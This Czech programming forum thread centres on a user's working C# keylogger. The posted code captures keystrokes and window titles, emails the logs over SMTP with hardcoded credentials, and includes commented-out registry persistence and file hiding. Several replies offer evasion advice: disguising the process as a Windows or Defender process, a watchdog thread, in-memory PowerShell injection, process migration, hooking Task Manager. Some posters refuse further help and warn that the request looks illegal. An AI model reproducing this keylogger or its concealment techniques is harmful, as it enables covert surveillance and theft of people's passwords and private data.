Diskuze: Keylogger,email,C#,error,naučení se novým věcem :) HELP PLEASE!!!
V předchozím kvízu, Test znalostí C# .NET online, jsme si ověřili nabyté zkušenosti z kurzu.
Člen
Zobrazeno 46 zpráv z 46.
//= Settings::TRACKING_CODE_B ?> //= Settings::TRACKING_CODE ?>
V předchozím kvízu, Test znalostí C# .NET online, jsme si ověřili nabyté zkušenosti z kurzu.
Rozepsal jsi se docela obšírně o svém přání, ale to hlavní jsi nenapsal
...mi vyskočí errorová tabulka...
Jaká je to chyba? Možná, že když si tu chybu pořádně přečteš, třeba na to nakonec přijdeš i sám, ale dokud nám neřekneš, co je to za chybu, těžko ti pomoci...
lol.
Vyskočí přesně tato chyba:
Microsoft.NET Framework
V součásti aplikace došlo k neošetřené výjímce
Pokud kliknete na tlačítko pokračovat,
aplikace bude tuto chybu ignorovat a pokusí se pokračovat.
Pokud kliknete na tlačítko konec aplikace bude ukončena.
Server SMTP vyžaduje zabezpečené připojení nebo.
Když dám pokračovat tak tabulka nikam nemizí a pořád nejde pošlu i celej kod jak je napsanej jinak děkuju za ochotu nečekal sem tak rychlí odezvy
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
namespace KeyLogger3._0
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
timer1.Start();
// System.IO.File.SetAttributes(Application.ExecutablePath,
System.IO.FileAttributes.Hidden);
/* RegistryKey reg =
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",
true);
reg.SetValue("Sys55", Application.ExecutablePath);
reg.Close();*/
}
string text = "";
string activeWindowOld = "";
private void timer1_Tick(object sender, EventArgs e)
{
string activeWindow = ActiveWindow.GetTitle();
if (activeWindow != activeWindowOld)
if(activeWindow!="")
text += "\n" + activeWindow +": ";
text += KeyControl.GetBuffKeys();
activeWindowOld = activeWindow;
if (text.Length > 700)
{
WriteTotxt(text);
text = KeyControl.ReplaceChars(text);
Email.Send(text);
text = "";
}
}
private void WriteTotxt(string value)
{
StreamWriter str = new StreamWriter("test.txt", true);
str.Write(value);
str.Close();
}
}
}
Kod z form1
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Mail;
namespace KeyLogger3._0
{
public static class Email
{
public static void Send(string value)
{
string email = "[email protected]";
string pass = "heslo";
NetworkCredential loginInfo = new NetworkCredential(email, pass);
MailMessage msg = new MailMessage();
SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587);
msg.From = new MailAddress(email);
msg.To.Add(new MailAddress("jme[email protected]"));
msg.Body = value;
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = loginInfo;
smtpClient.Send(msg);
}
}
}
Kod pro odesílání na email které nefunguje
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
namespace KeyLogger3._0
{
public static class ActiveWindow
{
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int
count);
public static string GetTitle()
{
const int nChars = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder title = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, title, nChars) > 0)
return title.ToString() ;
return "";
}
}
}
A poslední důležý kod z ActiveWindows
Ach..
takto
Ano funguje tak a jen sem musel změnit port který neni zabezpečený vim že před cca 3mi lety 465,587 fungoval bez problému ale dnes tomu tak není a funguje port.25 a ještě jedna maličkost jak změnim ve vlastnostech souboru.exe jeho název mám tam keylogger ale chci aby tam bylo například test.exe předem děkuji všem za rady
Měl bych jeste jednu prosbu jak mám udělat aby to nebylo vidět v procesech?
Jmeno: v pruzkumniku windows na ten exac klikni a F2. Nebo jestli to vazne potrebujes, dej ve VS prejmenovat projekt (klikni v solution exploreru na jmeno projektu pravym a prejmenovat - ale nwm, jestli to pomuze)
Procesy: To nepujde, ale muzes ten proces prejmenovat, aby vypadal oficialne, treba Microsoft Defender Background Worker (nebo tak neco) a dat tomu odpovidajici ikonku.
A taky nedavej za splnenou odpoved tu svoji. Tak mas oznacit nekoho, kdo ti pomohl, ne sebe.
// EDIT: Dej pozor, at proces s tim jmenem uz neexistuje
Mohla by být názorná ukázka?zkoušel sem to ale nák se mi nedaří jak jsem psal víš sem lehce pokročilej
No, jsou ty mnohem lepší techniky popisované v knize "HACKING: pracktický průvodce penetračním testováním", kde autor ukazuje, jak můžeš injectovat powershell do RAM a vyhnout se tak detekci AV a poté dejme tomu odesílat http požadavky na tvůj server. Případně migrovat do jiného procesu(například explorer.exe) a zůstat persistentní pomocí registrů
Názorná ukázka čeho? Přejmenování aplikace? Přejmenování procesu? Předělání ikonky?
Thread.CurrentThread.Name = "Jméno tvého vlákna";
// Sprostě ukradeno ze zdejšího seriálu o vícevláknovém programování
Jestli tě to zajímá tak koukni na https://github.com/…/PowerSploit
Skrýt svůj proces ze seznamu procesů možné je. Záleží na tom, jak moc odolné to musí být – tzn. jak moc dá práce ten skrytý proces odhalit. Míra odolnosti se přitom dost koreluje s obtížností implementace.
Můžeš do správců procesů (jako je Správce úloh) injektovat vlastní kód, který zajistí, že tvůj proces nebude vidět (když se Správce zeptá na seznam procesů, prostě mu trochu přefiltruješ výsledky a ten svůj z nich odstraníš). Na 32bitových verzích Windows se dalo skrývat přímo úpravou seznamu běžících procesů v jádře (je to obousměrný spoják s hlavou), což ale obvykle vyžadovalo si na to napsat ovladač. Na 64bitových Windows to už nejde vzhledem k zabudované ochraně jádra.
Možnost existovat jako kus kódu či DLL knihovna pouze v některém cizím procesu také funguje, ale ta implementace nemusí být zrovna jednoduchá, pokud chceš být slušně neviditelný. Navíc, pokud má uživatel nainstalovaný nějaký slušnější HIPS, tak ten běžné pokusy o injekci zachytí a zahlásí.
Také by bylo lepší neinjektovat .NET DLL, ale spíše něco napsaného v kompilovaném jazyce, abys tolik neovlivňoval proces, do kterého injektuješ.
Zkráceně řečeno: možnosti jsou, ale dá to dost práce a asi to moc, vyjma cvičení sebe sama, nevyužiješ (legitimní použití se moc nenajdou).
Skyrýt textový soubor přesně aby se mi nevytvářel u keyloggeru a ano i přejmenovat kolonku v procesech aby to tam nebylo jako keylogger+přejmenovat samostatný exe soubor ve vlastnostech je taky napsáno keylogger a odolnost?co nejlepší a co nejjednodušim kodem
Tak postupně abych to správně pochopil i napsal za 1. jak skryju textový soubor aby se nevytvářel i samotného programu?názorná ukázka kodu by pomohla
Používej tlačítko odpovědět. To říkáš komu? Mě?
Textový soubor buď můžes nastavit jako skrytý (i když hodně lidí si skryté soubory zobrazuje), nebo ho uložit někam do pryč. Nebo obojí.
A když přejmenuješ soubor, tak ve vlastnostech se ti taky změní, ne???
Přejmenování procesů jsem ti psal. A jestli to chceš odolný, prostě udělej druhý vlákno, který hlídá první (spustí ho, když se ukončí) a to první hlídá druhý.
Napiš srozumitelně, jaký ukázky kódu potřebuješ. Určitě něco na stackoverflow nebo podobných vyhrabem.
ukázka kodu jak skryju textový soubor aby se mi nevytvářel u programu jinak pardon ze sem to napsal tak nalískaně na sobě
Promin tak měl bys nákou ukázku jak to napsat nebo jak to udělat?
Hlavně používej to velký tlačítko odpovědět. Jenom se stane to, že mi přijde upozornění, že mi někdo něco napsal.
Počkej, ten tvůj keylogger funguje tak, že naslouchá klávesám, ukládá to do texťáku a každej třeba den ti to odešle na mail?
// Obsah toho textaku
Ano funguje přesne že odchytává klávesy zapisuje do textáku co daný člověk napíše+odešle po 700znacích email s daty ten kod na dané stránce skrývá nebo maže textový soubor?a kam ho zapsat jestli je tomu tak jinak mám omezený práva na psaní odpovědí.
Skrývá.
Nebylo by lepší se vykašlat na texťák, házet si to do proměnné a odeslat to po 700 znacích rovnou z proměnné?
Všechny kódy máš na tý stránce.
A právo na odpověď bys měl mít.
Jo a ten tvůj keylogger ti rozeznává velká a malá písmena?
Psalo mi to že posílám moc komentářu za sebou ale to je fuk a neroznenává malá velká písmena a moc nevim kde co přepsat tak kdyby to šlo ukazat bylo by to lepší jinak všem děkuju za trpělivost
Skrytí souboru tak, aby se nevytvářel u té aplikace, znamená uložit jej do jiného adresáře. Třeba k dočasným souborům atd. Pro opravdové "skrývání" souborů platí podobná pravidla jako pro skrývání procesů – pokud to chceš dělat slušně (tentokrát lze i na 64bitových systémech), tak potřebuješ ovladač jádra. Ale jak tu někteří píšou, pro 700 znaků stačí ukládat do proměnné (samozřejmě je pak třeba pořešit nějak restarty počítače atd.).
Tak nějak na mě působíš, že moc nerozumíš tomu, co děláš a do jakých vod ses dostal.
Rozumim samotnýmu keyloggeru jen odesílání na email sem programoval poprvý a skrývání nebo ukládání do jinýho adresáře nikdy a internet me dostal az sem tak me zajimá jestli mi tu někdo ukáže ukázku kodu co a kam zapsat aby se nevytvářel u aplikace děkuju.
neroznenává malá velká písmena a moc nevim kde co přepsat
Pokud bys tomu kódu keyloggeru (kterýžto tu nevidím uvedený) rozuměl, tak s tímhle nemáš problém. Resp. víš, že máš poměrně těžko řešitelný problém (z této vlastnosti tvého keyloggeru usuzuju na implementaci).
Ukládání do jiného adresáře je věc, kteoru bys měl být schopný naprogramovat, když dokážeš naprogramovat ukládání do adresáře tvé aplikace. Prostě při otevření toho textového souboru, kam ukládáš data, specifikuješ jinou cestu, než adresář tvé aplikace (nebo aktuální adresář). Jaký adresář místo toho specifikuješ, je na tvém kvalifikovaném rozhodnutí a znalostech systému.
S nějakým pokročilejším skrýváním ti tady asi nikdo nepomůže, i kdyby měl znalosti (nebo ne veřejně), protože to už začíná hodně zavánět nelegitimním pouužitím (neuvádíš tu nikde důvod, proč se chceš skrývat).
Ono je to pak právě hodně o tom, jak moc pozorný je uživatel. Pokud třeba přejmenuješ svůj program na nějaký ten systémový (csrss.exe atd.), tak si toho na první pohled třeba nikdo nevšimne. Na druhý ale ano (stačí si projít plné názvy souborů běžících procesů). A pak je to jen o tom, jak moc se chceš skrývat.
Kukaj sem. Tam najdes, jak vytvorit soubor jinde. Precti si i dalsi dil serialu: http://www.itnetwork.cz/…e-se-soubory
Moc děkuji všem už přibližne vim kde co přepsat jednoduše řečeno mám v tom kodu bordel někde sem se stratil ale asi už vim kde jinač celý program je jen pro účel testování k ničemu jinému sloužit nemá jen mě zajímá co je člověk schopný vytvořit a jak to funguje v praxi vše testuju na svých PC ne cizích baví mě obcházení systému a programování všeobecně A určitě se s vámi podělim o kod
Toto je kod pro snímání kláves který uživatel stiskne a ukládá do
textového souboru Form1
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
namespace KeyLogger3._0
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
timer1.Start();
// System.IO.File.SetAttributes(Application.ExecutablePath,
System.IO.FileAttributes.Hidden);
/* RegistryKey reg =
Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",
true);
reg.SetValue("Sys55", Application.ExecutablePath);
reg.Close();*/
}
string text = "";
string activeWindowOld = "";
private void timer1_Tick(object sender, EventArgs e)
{
string activeWindow = ActiveWindow.GetTitle();
if (activeWindow != activeWindowOld)
if(activeWindow!="")
text += "\n" + activeWindow +": ";
text += KeyControl.GetBuffKeys();
activeWindowOld = activeWindow;
if (text.Length > 700)
{
WriteTotxt(text);
text = KeyControl.ReplaceChars(text);
Email.Send(text);
text = "";
}
}
private void WriteTotxt(string value)
{
StreamWriter str = new StreamWriter("test.txt", true);
str.Write(value);
str.Close();
}
}
}
A toto je kod pro odesílání na email volil sem co nejjednodužší cestu
psání kodu ale aby to bylo co nejlepší a už vim co přepsat cca všem moc
děkuju a až to dodělám tak se s vámi určitě podělim o kompletní
program+kody a co kde sem opravil,přepsal
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Mail;
namespace KeyLogger3._0
{
public static class Email
{
public static void Send(string value)
{
string email = "Nickname@email.cz";
string pass = "pass";
NetworkCredential loginInfo = new NetworkCredential(email, pass);
MailMessage msg = new MailMessage();
SmtpClient smtpClient = new SmtpClient("smtp.seznam.cz", 25);
msg.From = new MailAddress(email);
msg.To.Add(new MailAddress("Nic[email protected]"));
msg.Body = value;
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = loginInfo;
smtpClient.Send(msg);
}
}
}
Hoj, je to i jako ebook? Nechce se mi to kupovat ve vyloženě knižní podobě
V anglické verzi určitě, v české nejspíš ne
Ahoj všichni tak texták sem vyřešil v proměných jak mi bylo napsáno víš v diskuzi vyzkoušel sem si i ukládání do jiné knihovny.Ale ted bych měl zájem ještě udělat to že keylogger skryju například za obrázek,odkaz zjednodušeně mám na mysli přesně to že rozkliknu fotku ta se klasicky zobrazí a chci aby se s fotkou spustil i keylogger.A to i když fotku vykřížkuju aby pořád běžel dokud ho nevypnu v procesech. :3 uměl by tu někdo poradit jak to provést? předem všem děkuju za rady a hlavně za trpělivost
bijou te ve skole hodne, ze dokaze uz takto z jednoducheho textu vyjadrit svuj kretenismus?
Nečekej, že tu začátečníkovi, který se očividně pokouší o něco, čemu nerozumí, budeme radit, jak se pouštět do nezakoných věcí.
Mariane za 1.Nechodim už dávno do školy takže se zdrž těhle
koměntářů protože ted ses zachoval jako ubohé děcko a jestli si dospělý o to
hůř.
Za 2. Adame když už si tu tykáte program nemá nikoho poškodit na osobních
informacích je to jen test
jen sem se chtěl naučit něco novýho a kdybych tomu nerozuměl tak nenapíšu
ani řádku kodu natož udělat to aby se textový soubor nezobrazoval stačilo odepsat slušně ne se hned
navážet!A ještě k tobě Mariane z tvého komentáře je vidět že naprosto
neumíš nic protože inteligentní člověk nenapíše takovýto komentář
jako od 15ti letého děcka.
děkuju všem co mi poradili mějte se Ahoj
Adame když už si tu tykáte program nemá nikoho poškodit na osobních informacích je to jen test
To tvrdíš ty. My si to nemáme moc jak ověřit. Souhlasím s tím, že pokud se člověk chce např. věnovat malware, měl by se zabývat tím, jaké používá techniky a klidně si i nějaké vyzkoušet naprogramovat, aby věděl, s čím se může setkat atd. Ale ty už bys rád dělal věci, která minimálně já považuji za velmi pokročilé. To, co bys chtěl udělat s tím obrázkem, je teoreticky možné provést a opět záleží na tom, po jaké úrovni dokonalosti prahneš – přičemž ta nejvyšší znamená, že zneužiješ chybu v prohlížeči obrázků (kterou si ale budeš muset nějak najít).
Mariane z tvého komentáře je vidět že naprosto neumíš nic
Jeho příspěvek, mezi řádky, říká, že byses měl pokusit používat alespoň trochu interpunkce, protože se ten text po tobě špatně čte (pokud samozřejmě je to v tvých silách, což chápu, že být nemusí). Alespoň ale vyslyš ty, kteří ti radí, abys kód dával do tagu [c o d e] (bez mezer), protože jinak se hrozně špatně čte.
ostrozan proč jsi mi dal mínus?
Omlouvám se - vůbec nevím jak k tomu došlo.
To jsou holt ty mobily
Asi by nebylo na škodu vyžádat si potvrzení,že to člověk myslí vážně
- nejsem ani první, ani poslední komu se to stalo
Došel sem k obrázku sám.Jak říká jedno přísloví co si sám neuděláš nemáš ale děkuju všem co mi nákým způsobem pomohly toho si cením
Zobrazeno 46 zpráv z 46.